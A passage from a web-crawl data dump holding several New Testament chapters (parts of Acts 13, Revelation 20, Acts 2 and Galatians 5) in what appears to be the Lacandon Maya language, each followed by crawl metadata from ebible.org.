xan: \"Je' u riq'uir ti' u quimirir soc mʌ' u tu'tar u winiquirir.\" Rajen ara'b ten C'uj ti' a mac a cu bin tar: \"Je' in betic tech an ten bic caj in wa'araj ti' David. Jach taj je' in betic an ten bic caj in toc araj uch, quij.\"\n35 Rajen C'uj arej ich u jer salmo a cu t'ʌno' irej wa Jesús cu t'ʌn uch caj u ya'araj: \"In wer mʌ' ja cha' u tu'tar in winquirir quire' a pararen.\"\n36 Mʌ' ja wirej, ti' toy cuxa'an ic nunquirex David uch, raji' caj u toc betaj a ba' ara'b ti' ten C'uj. Barej caj ts'oc u yamtic u yet winiquirob judío caj quimij David. Caj mucob ic nunquirex David uch, caj tu'jij u winquirir David.\n37 Chen u winquirir Jesús mʌ' tu'jiji'. Mʌ' ja wirej, u winquirir Jesús ric'sa'b ten C'uj ti' u quimirir.\n38 Mʌ' wa a werex, in wet winiquirob judío quire' a ba' caj u betaj Jesús, jeroj, tan u tsec'ta'r techex bic cu jawʌr a si'pirex.\n39 A ucho', a c'atex quir u jawʌr a si'pirex, chen mʌ' c'ucha'an a worex quir a jawsiquex a si'pirex ti' u t'ʌn Moisés. Baje'rer, c'ucha'an a worex a jawsiquex a si'pirex wa ca chen acsiquex ta worex u t'ʌn Jesús. Cax wa techex cax tu cotor mac.\n40 Rajen, qui' irej techex, soc mʌ' u tar techex a baxuc caj u ts'ibtaj a mac a ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'uj uch, barej caj u ya'araj:\n41 Qui' irej a techexo' a mac a cu p'astic a ba' cu ya'aric C'uj. Ca' jacac a worex. Ca' quimiquechex. Quin bin betic, quij C'uj, a ba' mʌ' yirmʌn mac mʌ' biq'uin yirmʌn a ray u q'uinin ti toy cuxa'anechex. Cax cu tar ya'aric techex mʌ' ja bin a quibiquex, quire' chich a jo'rex.\nA baxuc caj ts'oc u t'ʌn Pablo ti' a mac a ti' yʌnob ich u chan najir.\n42 Barej caj joc'ob Pablo yejer Bernabé ti' u chan najir tu cu naj c'ujinticob C'uj u winiquirob judío. Caj tarob u c'atej a mʌ' u winiquirob judío ca' wʌc'ʌs tarob u tsec'tejob u t'ʌn Jesús tu q'uinin quir u je'rar u winiquirob judío. Ca' bin tac u jer u q'uinin quir u je'rar, ra' u q'uinin quir u tsec'tic ti'ob.\n43 Barej caj ts'oc u tsec'tic u t'ʌn Jesús ich u chan najir, caj rʌc joc'ob. Ya'ab u winiquirob judío, yejer ya'ab a mac a cu c'ujinticob C'uj an ten bic u winiquirob judío, ich a ray chan najir tu cu naj c'ujinticob C'uj u winiquirob judío, caj sayob tu pach Pablo yejer Bernabé. Pablo yejer Bernabé caj tsicbanʌjob yejer a cu sayʌrob tu pachob, caj u chich arajob ti'ob wa ju qui' acsiquicob tu yorob u t'ʌn Jesús, soc mʌ' u p'ʌticob u t'ʌn C'uj.\n44 Caj c'uchij tu q'uinin, u jer u q'uinin quir u je'rar u winiquirob judío, orac tu cotor mac tarob u much'quinticob u bʌj a mac a cʌja'anob ich u cajar Antioquía, caj tarob yubicob u t'ʌn C'uj.\n45 Caj u yirajob u winiquirob judío caj u rʌc tarob yubob u t'ʌn C'uj, caj choquij yorob u winiquirob judío. Rajen caj u yʌnxchun u c'amquinticob u t'ʌn, rajra' yaricob:\n―Mʌ' taji' a ba' cu camsic Pablo.\nCaj p'asta'b Pablo ten u winiquirob judío.\n46 Rajen caj u t'ʌnajob u winiquirob judío, Pablo yejer Bernabé. Mʌ' u jac'ar u yorob Pablo yejer Bernabé. Caj u ya'arajob ti'ob:\n―Caj u ya'araj ten C'uj ca' in yʌn tsec'tej u t'ʌn ich u winiquirob judío. Pachir bin xiquenob in tsec'ticob ich a mʌ' u winiquirob judío. Mʌ' ja wirej, mʌ' ja sʌjtiquex u t'ʌn C'uj, mʌ' a c'atex a c'ʌmiquex u t'ʌn C'uj quir a cuxtarex munt q'uin. Rajen, baje'rer bin in ca' in p'ʌtechex. Bin in ca' in tsec'tejob u t'ʌn C'uj ti' a mʌ' u winiquirob judío.\n47 Mʌ' ja wirej, caj u toc araj tenob Jaj Ts'ur uch:\nTin tetech Pablo quir a bin a tsec'tic in t'ʌn ti' a mʌ' u winiquirob judío cax tu cʌja'anob ich yoc'ocab soc yerob u cuxtarob munt q'uin.\n48 Barej caj yubob ya'aric Pablo a mʌ' u winiquirob judío ajera', caj qui'jij yorob. Jeroj tune', caj u ya'arajob:\n―Jach tsoy u t'ʌn C'uj.\nCaj u yacsajob tu yorob u jach tsoyir u t'ʌn Jaj Ts'ur. Rajen tu cotor a mac a teta'an ten C'uj quir u cuxtar munt q'uin caj u yacsob tu yorob.\n49 Rajen a yacsmʌnob tu yorob caj manob u tsec'tob u t'ʌn C'uj ich tu cotor mac ich u ru'umin Pisidia.\n50 Chen u winiquirob judío a mʌ' ju yacsob tu yorob caj tsicbanʌjob yejer xquic ca' p'usacob u yorob. A je' xquica', jach sʌjta'b ten tu cotor mac ich u cajar Antioquía. A je' xquica', cu c'ujinticob C'uj an ten bic cu naj beticob u winiquirob judío. Bayiri' robob u winiquirob judío caj u tsicbʌtajob ti' u jach ts'urirob u cajar quir u p'usa'r u yorob soc u ts'ictarob yejer Pablo yejer Bernabé, rajen jach ts'iquijob, rajen caj u chucajob u pachob Pablo yejer Bernabé ten u jach ts'urirob u cajar Antioquía. Jeroj tune', joc'sa'b Pablo yejer Bernabé ich u ru'umin Pisidia.\n51 Tu yʌn jitajob u pech' xʌnʌb Pablo yejer Bernabe, caj u titajob u noy u ru'umin u pech' xʌnʌb. Caj u titajob soc yesicob ti'ob bin u ca' p'ʌtejob u tsec'tic u t'ʌn C'uj ti' a mac ich u cajar Antioquía. Jeroj tune', caj ruc'ob caj binob ich u cajar Iconio.\n52 Chen a mac a yacsmʌnob tu yorob ich u cajar Antioquía jach qui' yorob. Caj u jach ts'urintaj u Taj'or u Pixam C'uj a yacsmʌnob tu yorob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC13.html","date":"2022-06-27T06:09:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103328647.18\/warc\/CC-MAIN-20220627043200-20220627073200-00379.warc.gz","language":"lac","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000041723251343}","num_words":2738,"character_repetition_ratio":0.1,"word_repetition_ratio":0.015,"special_characters_ratio":0.28,"stopwords_ratio":0.484,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"20\nA mil yaxq'uino'\n1 Tu tin wʌyʌc'taj ich ca'anan, caj in pʌctaj caj in wiraj yeman u jer yʌjmasir u t'ʌn C'uj. Raji' u mʌchmʌn tu c'ʌb u c'ʌrʌbar u mac u jor ich ru'um, a tu mʌ' xura'an u tamin, ra' quir u bin purbir a quisino' quir u cʌjtar yejer u rac'ob, soc u c'ʌric a mac u jor. Bayiri' xan, raji' u mʌchmʌn cadena c'ʌrʌb turiri' quir u c'ʌric a ayimo', a jach manan caremo' ti' cu bin c'ʌrbir tu cu bin cʌjtar.\n2 Caj in wiraj yʌjmasir u t'ʌn C'uj caj u chich chucaj a ayimo', a jach manan caremo'. Raji' uch, caj u ways u bʌj uch ti' can quir u tus aric ti' ic nunquirex, raji' a quisino' chen ra' u jach c'aba' Satanás. Raji' caj c'ʌrij ten yʌjmasir u t'ʌn C'uj yejer c'ʌrʌb cadena. Raji' mʌ' u bin sipta'bir ten C'uj tac turiri' mil yaxq'uin.\n3 Rajen caj bin purbir a quisino' tu jor u ru'umin tu mʌ' xura'an u tamin ten yʌjmasir u t'ʌn C'uj. Toc pura'b tu cu bin cʌjtar tu jor u ru'umin tu mʌ' xura'an u tamin ti' turiri' mil yaxq'uin. Jeroj tune', toc c'ʌra'an u mac u jor u ru'umin tu mʌ' xura'an u tamin soc raji' mʌ' u joc'ar. Bayiri' xan, toc pʌc'a'an u mac u jor xan, soc u jer mac mʌ' u mucu cha'bʌr. Raji' toc c'ʌra'an soc mʌ' u man u tus aric ti' mac a cʌja'anob ich yoc'ocab. Ca' bin manac turiri' mil yaxq'uin cu yʌn jamach cha'bʌr ten C'uj ca' joc'ac, quire' baxuc u c'at C'uj u ramach cha'bʌr C'uj.\n4 Tu caj in wʌyʌc'taj ich ca'anan, quij, caj in pʌctaj caj in wiraj u cutan mac quir u cutarob quir u taquicob u jo'r mac. Jun yarob u cutanob caj in wiraj, bayiri' xan, ti' yʌn mac ich a ray cutanob curucbarob. Robob ts'a'b u muc' ten C'uj quir u taquicob u jo'r mac a cu tarob ʌcʌtan a ti'obo'. Jeroj tune', chʌca'an in wiric u pixamob a mac curch'acta'an u carob ten mac, quire' caj manob uch tan ya'aricob, raji' u jajir u parar C'uj, a Jesúso'. Mʌ' ja wirej, robob caj manob caj u tsec'tob u t'ʌn C'uj uch. Rajen robob xan, mʌ' tu c'ujintob bʌq'ui', a jach carem bʌc'o', mʌ' tu c'ujintob yochir bʌc' xan. Robob mʌ' ju cha'bʌrob u ts'ibt tu pamob wa tu c'ʌbo' cu ts'ibtic a bʌc'o', a jach carem bʌc'o'. Robob wʌc'ʌs ric'sa'b ten C'uj yejer u winquirirob soc u yamticob Jesús tu cu reyinticob mil yaxq'uin.\n5 Mʌ' ja wirej, a mac quimenob, a tan tin wiricobo', robob, jun much'ob a pʌyber ric'sa'b ten C'uj a ch'ac u carob. A robobo' a yʌn quimij ucho', pachir robob je' u bin ric'sa'bir wa ber ca' bin ts'ocac mil yaxq'uino' cu bin ric'sa'bir.\n6 A mac a pʌybero', cu bin ric'sa'bir tu quimirir ten C'uj, qui' yorob cu bin yubob, quire' mʌ' u bin erar ich c'ac' munt q'uin. Quire' yet manob C'uj uch, rajen, mʌ' u bin yubob u c'aq'uir benaj. Mʌ' ja wirej, robob cu bin manob tu beyaj C'uj yejer Cristo an ten bic sacerdote, a cu naj beyajob ti' C'uj ich yoc'ocab uch. Robob p'eri'ob cu bin u reyinticob mil yaxq'uin yejer C'uj yejer Cristo xan.\n7 Ca' bin c'uchuc tu q'uinin cu xupur mil yaxq'uino'. Raji' bin u ca' u wʌc'ʌs sip'tbir ten C'uj ca' joc'ac a quisino' tu maca'an.\n8 Ca' bin joc'ac a quisino', quir u tus aric ti' tu cotor mac a ti' yʌnob ich yoc'ocab, cax tu xura'an u ru'umin ich u ru'umin a Gogo', cax tu xura'an u ru'umin ich u ru'umin Magogo' xan. Raji' cu bin u much'quinticob u bʌj quir u ric'sicob u ba'te' yejer a mac a tu quibob C'uj. A cu tarob quir u quinsicob a ra' yʌninob C'uj, jach manan pim ca' bin c'uchob, mʌ' u c'uchur yor mac u xaquic quire' pim, robob irob sa'am a ti' yʌn ich chi'c'ac'nabo'.\n9 Robob caj rʌc binob u rʌc bʌcristob u cajar Jerusalén, a ju yaj C'ujo', u cajar Jerusalén, tu yʌn a raji' yʌninob C'uj. Robob caj u rʌc bʌcristob tu much'a'anob a raji' yʌninob C'uj. Jeroj tune', te' ca'anano' caj emij c'ac', a tuchi'ta'b ten C'uj, jeroj tune', caj rʌc toca'b, mʌ' ba' p'at, toc rʌc er.\n10 A ray quisino', a mac a ju mano' u tus aric mac tu cotor, caj bin puruc ten C'uj ich c'ac', a cu toquic azufre, raji' irej petja' a cu yerar. U tiri' xan, cu purbir ten C'uj a bʌc'o', a jach carem bʌc'o', yejer a mac a ts'a'b u tucur ten quisin quir u tus tsicbar a ba' u c'at a quisino' uch. Robob cu bin muc'yajob munt q'uin tu c'aq'uir petja' tu cu bin muc'yajo'. Rajra' cu binob muc'yaj.\nTu cotor mac ʌcʌtan ti' C'uj\n11 Tu tin wʌyʌc'taj ich ca'anan caj in pʌctaj, caj in wiraj C'uj curucbar ich u sʌc cutan, a jach manan tsoyo'. Tin wiraj a ru'umo' rʌc bin. Tin wiraj a ca'ano', rʌc bin ten u sasirir C'uj.\n12 A ray u q'uinino', caj in wiraj tu cotor mac a quimenob, cax a no'jo', cax a mʌ' no'jo' uch. Rʌc tarob quir u binob ich ʌcʌtan C'uj tu cu bin tacbir u jo'rob ten C'uj. Jeroj tune', caj jita'b u ju'unin quir yiric wa mac manob tu tsoyir, wa mac mʌ' manob tu tsoyir mac. Jeroj tune', caj in wʌc'ʌs ir u jer u ju'unin, tu ts'iba'an a mac a cu bin acsa'bir ten C'uj ich ca'anan quir u cuxtarob munt q'uin. Raji' toc jita'b u ju'unin xan.\n13 Bayiri' xan, a mac a quimij, a bint ja' tu caj u ch'ʌtob a c'ac'nabo' uch, quij, caj binob ich ʌcʌtan C'uj, cax a mac a muca'b ich yoc'ocab caj binob ich ʌcʌtan C'uj. Mʌ' ja wirej, robob rʌc binob quir yiric wa manob tu tsoyir wa mʌ' manob tu tsoyir.\n14 Jeroj tune', C'uj cu bin purbir tu cotor a mac manob tu c'asir an ten bic tij quirex sam. Tar cu bin purbir ten C'uj ich c'ac' quir u muc'yajob munt q'uin, ra' mʌ' u xur u muc'yajob.\n15 Rajen a mac a caj c'uchij ich ʌcʌtan C'uj wa mʌ' irir ich u ju'unin tu ts'iba'an u c'aba' mac quir u cuxtar munt q'uin, raji' cu bin purbir ich c'ac' tu cu yerar ich petja'ir c'ac' quire' mʌ' irir tu ts'iba'an u c'aba' quir u cuxtar munt q'uin.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/RV20.html","date":"2022-07-05T14:48:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656104585887.84\/warc\/CC-MAIN-20220705144321-20220705174321-00605.warc.gz","language":"lac","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000072717666626}","num_words":1060,"character_repetition_ratio":0.063,"word_repetition_ratio":0.004,"special_characters_ratio":0.295,"stopwords_ratio":0.479,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2\nCaj tarij u Taj'or u Pixam C'uj\n1 Caj c'uchij tu q'uinin Pentecostés, p'eri' much'ricob ich naj a caj u yacsaj tu yorob u t'ʌn C'uj. U q'uinin Pentecostés, ra' u q'uinin u qui'qui' janʌnob u winiquirob judío.\n2 Jeroj tune', caj u yubob u tar u jum ic', seb caj yubob u tar. Tar u tar u jum ic' ich ca'anan. C'am u jum ic' oc ich naj tu much'a'anob tu curucbarob a yacsmʌnob tu yorob.\n3 Caj tar ti'ob irej u job c'ac'. Caj u rʌc jʌsaj ti'ob jujuntur, bajen u job c'ac' tu jo'rob. Chichin u job tu jo'rob a mac a yacsmʌnob tu yorob u t'ʌn C'uj.\n4 Caj tarij u Taj'or u Pixam C'uj yicnʌob quir u tar u muc' C'uj tu yʌnob.\n5 Ra'iri' u q'uinin, caj tarob u winiquirob judío quir u c'ujinticob C'uj. Tarob ich u jer u cajarob tarob quir u c'ujinticob C'uj ich u cajar Jerusalén. Ti' cʌja'anob ich u cajar Jerusalén.\n6 Robob xan, caj yubob u jum bajen u tar u jum ic', robob xan, caj binob u yiricob a ba' u ber ich a yacsmʌnob tu yorob. Caj c'uchob a pimo' tu much'a'anob ich naj. Jeroj, caj jaq'uij u yorob quire' yuba'b bajen u wʌc'ʌs t'ʌnob a tub u tarob. Robob cu t'ʌnob a mac a yacsmʌnob tu yorob u t'ʌn C'uj.\n7 Jaq'uij yorob a pimo', sajacob, mʌ' cu joc'arob u t'ʌnob. Chen sasame' caj joc' u t'ʌnob, caj ya'arajob:\n―Ir a wirej ―quij ya'aric―. A mac a cu t'ʌnob tar u tarob ich u ru'umin Galilea.\n8 Ba' u ber, quire' quij cuyiquex u t'ʌnob ich ic t'ʌnex?\n9 Te' yʌna' tu yʌno'onex a mac a cu tarob ich u cajar Partia. U jer a tar u tarob ich u cajar Media. Ti' yʌn xan, a tar u tarob ich u cajar Elam. Ti' yʌn xan, a cu tarob ich u cajar Mesopotamia. Ti' yʌn xan, a cu tarob ich u cajar Judea. Ti' yʌn xan, a cu tarob ich u cajar Ponto. Ti' yʌn xan, a cu tarob ich u ru'umin Asia.\n10 Te' yʌna' tu yʌno'onex a mac a tar u tarob ich u cajar Panfilia. Ti' yʌn xan, a cu tarob ich u ru'umin Egipto. Ti' yʌn xan a cu tarob ich u cajar Libia tu nʌts'a'an Cirene. Ti' yʌn xan, a mac u winiquirob romano, quire' ra' u cajar Roma, Tar binob yirej ich u cajar Jerusalén, u winiquirob romanojo'. A je' pima' u winiquirob judío. Chen yʌn mac te' yʌna' tu yʌno'onex caj tarob u c'ujinticob C'uj irej u winiquirob judío cu beticob.\n11 Te' yʌna' tu yʌno'onex a mac a tar u tarob ich u cajar Arabia, cax mʌ' u winiquirob judío, tar u c'ujinticob C'uj an ten bic u winiquirob judío, cax ti' u ru'umin Creta caj tarob xan. Chen biquinin quij cuyiquex u tsicbarob to'onex ich ic wʌc'ʌs t'ʌnobex tan u ya'aricob a ba' jach manan u beyaj C'uj a tu betaj? ―baxuc caj ya'arajob a pimo' a caj tarob tu yʌn a yacsmʌnob tu yorobe'.\n12 Tu yʌnob a pimo', tu cotor jach jac'a'an yorob quire' mʌ' yerob ba' quiri'. Caj u c'atajob ich u bʌjob:\n―A ba' u c'at ya'aric tu cotor a jera', a quij cuyiquexe'?\n13 U jerob a tu yubob u t'ʌnob a tu yacsaj tu yorob u t'ʌn C'uj, robob caj u che'tajob caj ya'arob:\n―Cʌra'anob, rajen cu tsicbarob ich ic t'ʌnobex.\nA ba' ara'b ten Pedro ti' a pimo'\n14 Rajen caj riq'uij Pedro yejer u yet camsʌwinicob a mac tuchita'b ten Jesús. Caj ric'ob u ch'ictarob, chen Pedro, c'am caj u t'ʌnaj a mac a caj u che'tob, caj u ya'araj ti'ob:\n―U'yex u xibirex Judea, bayiri' xan a techo' a mac a cʌja'anob ich u cajar Jerusalén. Qui'qui' u'yex in t'ʌn soc a najtiquex.\n15 Ca tucriquex cʌra'anenob a tenob, chen mʌ' cʌra'anenobi'. Mʌ' ja wirej ―quij Pedro―, mʌ' nacʌc a q'uino' baje'rer, quire' mʌ' u carchʌjʌr a mac u winiquirob judío a bay q'uino'.\n16 A ba' ca wiriquex baje'rer tu yʌn ts'ibtaj Joel uch. Mʌ' ja wirej, raji' Joel ts'ab u tucur ten C'uj quir u tsicbar a ba' u c'at C'uj. Rajen caj u ya'araj Joel ti' C'uj a ba' tu toc araj C'uj. U'yex ba' tu toc araj:\n17 Je' u c'uchur tu q'uinin a tabar u xur t'ʌn ich yoc'ocab, quij ya'aric C'uj. Je' in tuchitic u Taj'or u Pixam C'uj soc raji' ti' yʌn tu' yʌnechex, a mac a ti' yʌn ich yoc'ocabe'. A pararex je' u tsec'ticob in t'ʌnob, cax xquic xan. A mʌ' xura'an xibo', quij ya'aric C'uj, je' u yiricob a ba' cu yesa' ten C'uj a bajen u wʌyʌc'. Je' u wʌyʌc'tiquenob a mac nuxibo', quij ya'aric C'uj.\n18 A ra'iri' u q'uinin a tabar u xur t'ʌno', quij ya'aric C'uj, a mac a cu yamtiquenob, cax wa xib, cax wa xquic, Je' in tuchi'tic u Taj'or in Pixam C'uj soc ti' yʌn tu yʌnob. Robob je' u tsec'ticob in t'ʌnob a je' xiba', bayiri', a je' xquica' xan.\n19 Je' in wesic techex, quij ya'aric C'uj, ra' cu bin u jac'ar a worex ich ca'anan. Bayiri' xan, ich yoc'ocab bin in ca' in wesic techex carem beyaj soc a werex u chichir in muc'. Je' a wiriquex, quij ya'aric C'uj, q'uic'. Je' a wiriquex c'ac', quij ya'aric C'uj, a bay u pimin muyar u buts'ir.\n20 A ra'iri' u q'uinino', quij ya'aric C'uj, bin in ca' in wesic techex u chichir in muc', a teno' u Jaj Ts'uriren tu cotor mac. Tabar in tar u Jaj Ts'uriren tu cotor mac. Bin u ca' ac'birchʌjʌr q'uin.\n21 Tu cotor mac, quij ya'aric C'uj, a mac a cu t'ʌniquen quir in taquique', je' in taquique'. Baxuc caj u ts'ibtaj to'on Joel, a mac ts'a'b u tucur ten C'uj quir u ts'ibtic a ba' u c'at C'ujo'.\n22 Pedro caj u ya'araj ti'ob:\n―U'yex in wac, u xibirechex Israel. A werex Jesús, a cʌja'an ich u cajar Nazaret uch. Raji' caj u yesaj to'onex carem u beyaj, rajen ij querex wa teta'b Jesús ten C'uj. A techexo', caj a wirajex a ba' beta'b ten C'uj ti' Jesús, wa ber ti' yʌn Jesús ti' yʌn yejero'onex uch.\n23 A C'ujo', yer je' a c'ubiquex quinsbir Jesús quire' sasir u wich C'ujo'. A C'ujo' yer xan bin a quinsiquex Jesús, chen raji' tu cha'jex. A techexo', caj a c'ubex Jesús ti' a mac jach c'aso' ca' u sinejob ich cruz quir u quimin.\n24 Chen raji' caj ric'sa'b ten C'uj ich u quimirir. Mʌ' tu cha'j u p'atʌr Jesús ich u quimirir rajen ric'sa'b.\n25 Mʌ' ja wirej, David caj u toc ts'ibtaj uch wa yʌn u riq'uir Cristo. Rajen caj u ya'araj David a ucho':\nU burur q'uin quin quibic u t'ʌn Jaj Ts'ur, rajra' ti' yʌn Jaj Ts'ur tin wicnʌn soc mʌna' ba' cu tar ten.\n26 Rajen qui' in wor in c'ay, quij David. Mʌna' ba' quin tucric quire' tech ca cʌnantiquen. Cax quimic in winquirir, mʌ' in tucric quire' qui' in wor, quij.\n27 In wer, quij David. Mʌ' ja p'ʌtic in pixam ich in quimirir ca' bin quimiquen. Mʌ' ja cha'j u tu'tar in winquirir tu t'aja'anen. In wer a jach yajen.\n28 A techo', quij David, caj a wesaj in ber quir in bin ca'anan quir in cuxtar munt q'uin. Je' a qui'quintic in wor quire' p'eri' quij cuxtarex.\nBaxuc caj u ya'araj David a ucho'.\n29 Pedro caj u ya'araj:\n―In wet winiquirob israel ―quij Pedro―. Taj yʌn in wa'aric techex. Uch quimic ic nunquirex David. Ti' t'aja'an u baquer ich u japnin tunich, chʌca'an tu t'aja'an u baquer baje'rer.\n30 David u toc er aro' quire' raji' ts'a'b u tucur ten C'uj quir u ya'aric a ba' u c'at C'uj. Jach ara'b ti' ten C'uj tan u ya'aric ti':\nJe' u tar a Cristojo'. Je' u yʌn tar baxuc u parare'. Raji' bin u ca' reyintic irej David.\n31 A ucho' yer David je' u riq'uir Cristoje' tu quimen, rajen caj u ts'ibtaj David mʌ' u tu'tar u winquirir Cristo, mʌ' ju p'atʌr tu t'aja'an u baquer.\n32 Taj quin wa'aric techex ―quij Pedro―. Ra'iri' Jesús caj ric'sa'b ten C'uj, in bʌjiriro' caj in wirajob rajen quin wa'aricob techex.\n33 Mʌ' ja wirej, caj ric'sa'b Jesús ten C'uj ich u noj C'uj soc u sʌjta' ten tu cotor mac. Caj u c'ʌmaj u Taj'or u Pixam C'uj Jesús, quire' toc ara'b ti' ten C'uj uch. A ba' caj a toc irajex baje'rer, baxuc a ba' caj a toc u'yajex, ra' cu tar ich Cristo. Mʌ' ja wirej, Cristo caj u tuchi'taj u Taj'or u Pixam C'uj.\n34 Chen David u bʌjiri' mʌ' bin ca'anani' quire' tu yʌn araj David tan ya'aric:\nIn Jaj Ts'urir caj u ya'araj ti' in Jaj Ts'urir: \"Yʌn curen, quij C'uj, tin noj,\n35 hasta quin ts'ic tech u mosatiquech a mac u p'ec yiriquecho'.\"\nBaxuc caj ara'b ti' David a ucho'.\n36 Caj u ya'araj Pedro:\n―Yʌn c'ʌ'otiquex quire' u winiquechex israel soc mʌ' a tucriquex wa mʌ' Cristo. Quire' raji' teta'b ten C'uj Cristo quir u reyinta'r ten tu cotor mac. Ra'iri' Jaj Ts'ur xan. Chen techex a ta bʌjex ich cruz soc u quimin. Quin wa'aric techex quen, raji' u jach tajir Cristo.\n37 Caj ts'oc u tsicbar Pedro, a mac a caj u yubob u t'ʌn Pedro jach choc yorob caj yubob u yet winiquirob judío. Robob caj u c'atajob ti' Pedro yejer u yet camsʌwinicob a mac tuchi'ta'b ten Jesús. Tan u c'ata' ti'ob:\n―Ba' quic bin ic betex quire' ic bʌjobechex? ―baxuc caj u c'atajob ti' Pedro.\n38 Pedro caj u nuncaj, cu ya'aric ti'ob:\n―Ca' a c'axex a worex tan a p'ʌtiquex a c'asirex. Ca' a t'ʌnex Jesús yʌn c'atiquex ti' ca' u jawsej a si'pirex. Bayiri' ca' yʌn acsac ja' ta jo'rex, jujuntur techex. Jeroj tune', C'uj je' u tuchi'tiquechex u Taj'or u Pixam C'uj quir u tar tu yʌnechex.\n39 Quire' C'uj caj u toc araj, je' u ts'ic techex u Taj'or u Pixam C'uj ti' a pararex xan, an ten bic techex. Je' u ts'ic ti' a mac a nach xan. Bayiri', je' u ts'ic u Taj'or u Pixam C'uj ti' a mac teta'b ten C'uj xan.\n40 Pedro taj caj u ya'araj ti' u yet winiquirob judío yejer u jer ya'ab t'ʌn, cu chich aric ti'ob:\n―Ca' a acsex ta worex, yʌn p'ʌtiquex a mac a cu beticob c'as soc mʌ' quet a werarex ich c'ac' ―baxuc tu ya'araj Pedro ti' a pimo'.\n41 Tsoy caj yubob u t'ʌn Pedro a ju yet winiquirob judío, rajen caj u yacsajob tu yorob u t'ʌn Jesús bayiri' xan, caj acsa'b ja' tu jo'rob. Ra'iri' u q'uinin caj u yacsajob tu yorob tres mil winic.\n42 Robob xan, caj u ts'aj u tucurob ti' a ba' camsa'b ten a mac a tuchi'ta'b ten Jesús quir u cʌnicob u t'ʌn. Rajen p'eri' yorob bayiri' qui' yorob. Robob xan caj u t'ʌnajob C'uj. Bayiri' p'eri' u janʌnob quir u c'ʌ'oticob wa ber caj quimij Cristo ti'ob.\nRa' tu yʌn acsajob tu yorob ti' u t'ʌn C'uj\n43 A pimo', caj u yirajob bic jach chich u muc' C'uj caj jaq'uij u yorob a pimo'. Mʌ' ja wirej, caj u yirajob u jach carem beyaj a ju camsʌwinicob a tuchi'ta'b ten Jesús quir u tsec'ticob u t'ʌn. C'uj caj u yamtaj ti'ob tu beyajob a ju camsʌwinicob a tuchi'ta'b ten Jesús quir u tsec'ticob u t'ʌn.\n44 A mac a caj u yacsajob tu yorob, p'eri' u tucurob, bayiri' xan, p'eri' u ba'tacob.\n45 Robob caj u canajob u ba'tac, caj u rʌc jʌsajob u taq'uin ti' a mac a ju c'at u jʌsicob ti'e'.\n46 Rajra' samane' ti' yʌnob tu cu c'ujinticob u winiquirob judío ich a carem najo'. Bayiri' xan, ti' cu janʌnob ich yatochob, p'eri' u janticob yo'och pan quire' qui' yorob. Mʌ' ja wirej, p'eri'ob yorob a caj u yacsajob tu yorob.\n47 Robob, cu c'ujinticob C'uj a caj u yacsajob tu yorob u t'ʌn C'uj tan ya'aricob:\n―A C'ujo', jach tsoy.\nA ju yet cajarob cu sʌjticob a caj u yacsajob tu yorob u t'ʌn C'uje'. A C'ujo' cu pimquintic u yacsicob tu yorob. Mʌ' ja wirej, u jer u q'uinin cu jach pimtarob.","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/ebible.org\/study\/content\/texts\/lacNT\/AC2.html","date":"2022-07-01T16:04:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103943339.53\/warc\/CC-MAIN-20220701155803-20220701185803-00419.warc.gz","language":"lac","language_score":1.0000050068,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"lac_Latn_score\": 1.0000050067901611}","num_words":1997,"character_repetition_ratio":0.078,"word_repetition_ratio":0.007,"special_characters_ratio":0.296,"stopwords_ratio":0.474,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"5\nChichquint a worex soc mʌ' a ts'urintex u t'ʌn Moisés\n1 A Cristojo' mʌ' ju sipto'onex soc mʌ' ic ts'urintiquex u t'ʌn Moisés. Rajen chichquintex a worex ich u t'ʌn C'uj soc mʌ' a wʌc'ʌs ts'urintex u t'ʌn Moisés tu ca'ten. Mʌ' ja wirej, Jesús tu toc cha' ic binex soc tsoy ic binex.\n2 U'yex ba' quin wac techex, a teno' Pablojen quin wac techex. Wa cu chabʌr techex a ts'iriquex u bʌq'uer tu ca wixex, baxuc an ten bic nanij cu beticob u winiquirob judío, rajen quin wac techex mʌ' bʌ'wir Cristo techex.\n3 A teno' quin wʌc'ʌs aric techex. Mac tu cotor a cu chabʌr u ts'iric u bʌq'uer tu cu wixob, irej u winiquirob judío soc u yacsa'r ten C'uj. Raji'ob ca' u quibej tu cotor a ba' ts'iba'an ich u t'ʌn Moisés.\n4 Wa ti' yʌn winic tu yʌnechex a cu tus tucric u yacsa'r u ten C'uj quire' caj u quib u t'ʌn Moisés, mʌ' taj ba' cu tucriqui'. Tu p'ʌtaj ba' tsoy tu t'ʌn C'uj.\n5 Chen a tenobo' a mac a caj tin wacsob tin worob, jach jaj bin u ca' u yamtenob u Taj'or u Pixam C'uj soc tsoy yiriquenob C'uj. Je' u betic aro' quire' caj in wacsob in worob ti' u parar C'uj.\n6 Ti' a mac a caj u yacs tu yor ti' Cristo, mʌ' no'oj wa ts'ira'an u bʌq'uer tu cu wix wa mʌ' ts'ira'an u bʌq'uer tu cu wix. A ba' jach no'ojo' ca' ij cacsex tij corex bayiri' ca' ic yajquintex ij quet acsʌ'orirex.\n7 Caj a yʌn bat'an acsex ta worex ti' Cristo uch, biquinin jach taj caj a wacsex ta worex ti' Cristo. Chen baje'rer biquinin ca wu'yex a mac a cu susiquechex soc mʌ' ja wu'yex, soc mʌ' ja quibex u tajir u t'ʌn C'uj?\n8 A yʌjtuscamsʌyʌjirob u t'ʌn C'uj a cu camsiquechex soc a p'ʌtiquex u tajir u t'ʌn C'uj. Robob mʌ' ti' u 